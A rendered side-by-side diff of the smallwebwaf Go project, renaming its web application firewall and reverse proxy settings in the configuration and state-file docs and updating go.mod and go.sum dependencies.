- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine - `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
user or a fragment; its decision list is at `v1/decisions` under it. Set without a user or a fragment; its decision list is at `v1/decisions` under it.
without the key, it is refused. So is a decision list URL that is also in Set without the key, it is refused. So is a decision list URL that is also in
`SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`. `SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for - `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused. URL, it is refused.
- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or - `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
`log`, for DNS blocklist and AbuseIPDB hits. `limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or - `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
AbuseIPDB's score is used. A duration. or AbuseIPDB's score is used. A duration.
- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a - `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
check with AbuseIPDB may take. A duration. zone or a check with AbuseIPDB may take. A time in milliseconds.
## Alerting ## Alerting
- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each - `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
alert as a JSON object. An `http` or `https` URL without a user or a fragment. alert as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, - `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
value. A value cannot hold a comma. value. A value cannot hold a comma.
- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook - `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
that receives each alert as a message, checked as the webhook URL is. that receives each alert as a message, checked as the webhook URL is.
- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each - `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
as the webhook URL is. as the webhook URL is.
- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control - `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused. character in it is refused.
- `SWWAF_ALERT_EVENTS` (default - `SWW_WAF_ALERT_EVENTS` (default
`ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md) the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused. but `summary`. Any other name is refused.
- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its - `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`. repeats are held back. A duration or `off`.
- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A - `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
whole number above zero, or `off`. A whole number above zero, or `off`.
## Anomaly thresholds ## Anomaly thresholds
Each scope has four thresholds: the most requests and the most bytes counted in Each scope has four thresholds: the most requests and the most body bytes
a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
default. The four thresholds per client are: names. Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are:
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`; - `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`; - `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`; - `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`. - `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`: as `REQUESTS_PER_MINUTE`:
- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the - `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length: netblock's length:
- `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4 - `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client; client;
- `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6 - `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client. client.
- `SWWAF_ANOMALY_ASN_...`: per AS number. - `SWW_WAF_ANOMALY_ASN_...`: per AS number.
- `SWWAF_ANOMALY_TOTAL_...`: the whole service. - `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole. - `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
`SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such `SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a (default empty) is a list of name, `=` and netblock, such as
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice. name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files ## Settings given as files
@@ -311,9 +416,9 @@ Then mount its directory into the container read-only, and name the file:
```sh ```sh
docker run \ docker run \
-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \ -v /srv/app/tokens:/etc/sww/tokens:ro \
-e SMALLWEBWAF_COMMAND=servewaf \ -e SWW_COMMAND=waf \
-e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \ -e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
... ...
``` ```
@@ -326,80 +431,83 @@ A few limits are fixed rather than settings:
- at most 1,000 DNS blocklist queries are under way at once; - at most 1,000 DNS blocklist queries are under way at once;
- at most 20,000 anomaly counters are kept; - at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts; - each alert destination's queue holds at most 1,000 alerts;
- `servewaf` holds at most 10,000 answered requests awaiting their reports; - `waf` holds at most 10,000 answered requests awaiting their reports;
- `servewaf` refuses a request with more than 50 cookies or more than 100 header - `waf` refuses a request with more than 50 cookies or more than 100 header
fields (see "Answering in time" under "`servewaf`" in fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md));
[`SPEC.md`](../SPEC.md));
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a - `rproxy` takes a request line and headers of at most 32 KiB, and closes a
kept-open connection idle for 120 seconds; kept-open connection idle for 120 seconds;
- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers - `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
`502` to a longer one. to a longer one.
## `servewaf`'s answer and `rproxy`'s wait ## `waf`'s answer and `rproxy`'s wait
`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question an outside source. Keep it well under `rproxy`'s
waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for
asked in the background (see "Answering in time" under "`servewaf`" in `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
asked in the background (see "Answering in time" under "`waf`" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
## `rproxy` ## `rproxy`
`smallwebwaf rproxy` reads the settings below and no others. They are read once `sww rproxy` reads the settings below and no others. They are read once at
at start, and an invalid value stops the start. None can be given as a file, start, and an invalid value stops the start. Any can be given as a file, as a
since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says `SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
what they do.
A time here is a whole number of milliseconds above zero, such as `2000`. - `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy` `https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it. speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s - `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
answer, to a question and to a report. A time; never `off`. for `waf`'s answer, to a question and to a report. A time in milliseconds;
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when never `off`.
`servewaf` cannot be connected to, does not answer at all, or does not answer - `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers with a request when `waf` cannot be connected to, does not answer at all, or
`503`. It does not apply to an answer `servewaf` gives, such as an error. does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or to the app, and `deny` answers `503`. It does not apply to an answer `waf`
gives, such as an error.
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
size or `off`.
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
size or `off`.
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
take to send its request line and headers. It then also bounds, from the end
of the headers, the time until the app has been sent the whole request. A time
in milliseconds or `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
take, from the end of the request to its last byte reaching the visitor. An
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
do the status and headers of the app's answer. A time in milliseconds or
`off`. `off`.
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or - `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`off`. `:9000`.
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to - `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
send its request line and headers. It then also bounds, from the end of the `http` or `https` URL with a host and an optional port, and nothing more.
headers, the time until the app has been sent the whole request. A time or - `SWW_RPROXY_TRUSTED_PROXIES` (default
`off`. `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take, `X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
from the end of the request to its last byte reaching the visitor. A time or outside these netblocks cannot claim another address. Where other containers
`off`. reach `rproxy` directly, or visitors on a private network reach traefik, they
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`. can name another address in the header. Narrowing the setting to traefik's own
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or network closes that gap.
`https` URL with a host and an optional port, and nothing more.
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
nothing. A client outside these netblocks cannot claim another address. Where
other containers reach `rproxy` directly, or visitors on a private network
reach traefik, they can name another address in the header. Narrowing the
setting to traefik's own network closes that gap.
## The image's command ## The image's command
`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what `SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
its health check checks: `rproxy` or `servewaf` (see "Deployment" in check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)).
[`SPEC.md`](../SPEC.md)). It cannot be given as a file. It cannot be given as a file.
## Where earlier settings went ## Where earlier settings went
Nothing reads these names any more: Nothing reads these names any more:
- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`. - `SWW_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`. - `SWW_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`. - `SWW_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`. - `SWW_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are - `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds. `SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are - `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds. `SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have - `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
takes a request line and headers of at most 32 KiB. takes a request line and headers of at most 32 KiB.
+82 -26
View File
@@ -1,13 +1,28 @@
# State files # State and cache files
The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent The JSON files `waf` keeps, and what each holds. "Persistent state" in
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
Each has a top-level `version` of 1. top-level `version` of 1.
- The state files are in `SWW_WAF_STATE_DIR`, `/var/lib/sww` by default. They
hold what cannot be fetched again, so back them up:
- `bans.json`;
- `clients.json`;
- `abuseipdb-checks-spent.json`;
- `alerts.json`.
- The cache files are in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default. They
hold answers from outside services, which are asked again when a file is lost,
so the directory can be left out of backups:
- `lookups.json`;
- `lists.json`;
- `dnsbl.json`;
- `abuseipdb-scores.json`;
- `routewatch.json`.
## `bans.json` ## `bans.json`
Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
those `servewaf` made. Per entry: those `waf` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban); - `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`; - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -61,26 +76,19 @@ since it was first seen:
- the first and last time seen; - the first and last time seen;
- the AS number, AS name and country last looked up, and when; - the AS number, AS name and country last looked up, and when;
- total requests, and how many were forwarded and how many refused; - total requests, and how many were forwarded and how many refused;
- bytes in each direction; - body bytes of its requests, and of the responses it was sent;
- responses by status class; - responses by status class;
- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file - offences by kind: `limit`, `attack`, `blocked_by_block_rule` and
may also hold `token_refused`, which is kept, and which nothing adds to. `blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
kept, and which nothing adds to.
## `lookups.json` ## `abuseipdb-checks-spent.json`
GeoJS answers, one per line: The AbuseIPDB checks spent today, so that a restart does not spend the daily
budget again:
- `client`; - `day`: the day, in UTC;
- `asn`, `as_name` and `country`; - `spent`: the checks spent on it.
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `reputation.json`
- the last good copy of each list fetched from a URL, with when it was last
tried;
- each DNS blocklist verdict still in use;
- AbuseIPDB's scores, and the checks spent today.
## `alerts.json` ## `alerts.json`
@@ -90,15 +98,63 @@ GeoJS answers, one per line:
- the alerts sent and held back in the current hour; - the alerts sent and held back in the current hour;
- the alerts waiting for each destination. - the alerts waiting for each destination.
## `lookups.json`
A cache file. GeoJS answers, one per line:
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `lists.json`
A cache file. The last good copy of each list fetched from a URL, with when it
was last tried:
- `url`;
- `tried`: when it was last fetched or tried;
- `fetched` and `lines`: when the last good copy was fetched, and its lines,
comment lines included.
## `dnsbl.json`
A cache file. Each DNS blocklist verdict still in use, one per line:
- `zone` and `client`;
- `listed`: whether the zone lists the client;
- `fetched`: when the zone answered.
## `abuseipdb-scores.json`
A cache file. AbuseIPDB's scores still in use, one per line:
- `client`;
- `score`: from 0 to 100;
- `fetched`: when AbuseIPDB answered.
## `routewatch.json`
A cache file. routewatch's answers from the last hour, one per line:
- `client`;
- `netblock`: the netblock the client's address is announced in, empty for an
address without a live route;
- `asn`: the number of the AS that originates the netblock, 0 for none;
- `answered`: when routewatch answered.
## Sizes ## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default - `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of `SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
disk writes a day. of disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at - `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more. more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
full. full.
- `reputation.json` and `alerts.json`: usually a few MiB or less. - `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
- `abuseipdb-checks-spent.json`: a few bytes.
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
a few MiB or less.
+15 -4
View File
@@ -3,19 +3,22 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0 go 1.26.0
require ( require (
cloud.google.com/go v0.123.0
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1 github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
github.com/fsnotify/fsnotify v1.10.1 github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7 github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0 github.com/maxmind/mmdbwriter v1.2.0
github.com/oschwald/maxminddb-golang/v2 v2.7.0 github.com/oschwald/maxminddb-golang/v2 v2.7.0
github.com/prometheus/client_golang v1.24.1 github.com/prometheus/client_golang v1.24.1
github.com/spf13/viper v1.21.0
) )
require ( require (
github.com/beorn7/perks v1.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect github.com/corazawaf/libinjection-go v0.3.4 // indirect
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
github.com/goccy/go-json v0.10.5 // indirect github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
@@ -25,19 +28,27 @@ require (
github.com/kylelemons/godebug v1.1.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect
github.com/sagikazarmark/locafero v0.11.0 // indirect
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
github.com/spf13/afero v1.15.0 // indirect
github.com/spf13/cast v1.10.0 // indirect
github.com/spf13/pflag v1.0.10 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
github.com/tidwall/gjson v1.18.0 // indirect github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go.yaml.in/yaml/v3 v3.0.5 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect golang.org/x/net v0.60.0 // indirect
golang.org/x/sync v0.23.0 // indirect golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect golang.org/x/text v0.42.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect rsc.io/binaryregexp v0.2.0 // indirect
) )
+38 -10
View File
@@ -1,19 +1,27 @@
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc= github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0 h1:ZX0xWXpQgRXV/4sdfw21mOZBmmzQSb1+JiR51YOLv8I=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU= github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0/go.mod h1:yf3Gc7mGKBR1wchr4EXZHG10En6WQ4W4MJCg3ix91wQ=
github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0 h1:XMYT7VOFM2VrpIKMUn4vFWyoFNYg1ZaYiexs76AmxzQ=
github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0/go.mod h1:1yaQUjecpEJ/cWXhJaFto+vRuezJCCfVxGQlaQxAGt0=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM= github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY= github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o= github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68 h1:KLEjvBBSwQcxvgT6h1VDjRLtQ+V9eObAwubb1CTWf9U=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c= github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68/go.mod h1:9XocblQEwK6EYylRth7PrPIifF2l0iSoYo4FAXhXU/8=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc= github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x9Nc6lgRRbk=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk= github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0= github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk= github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
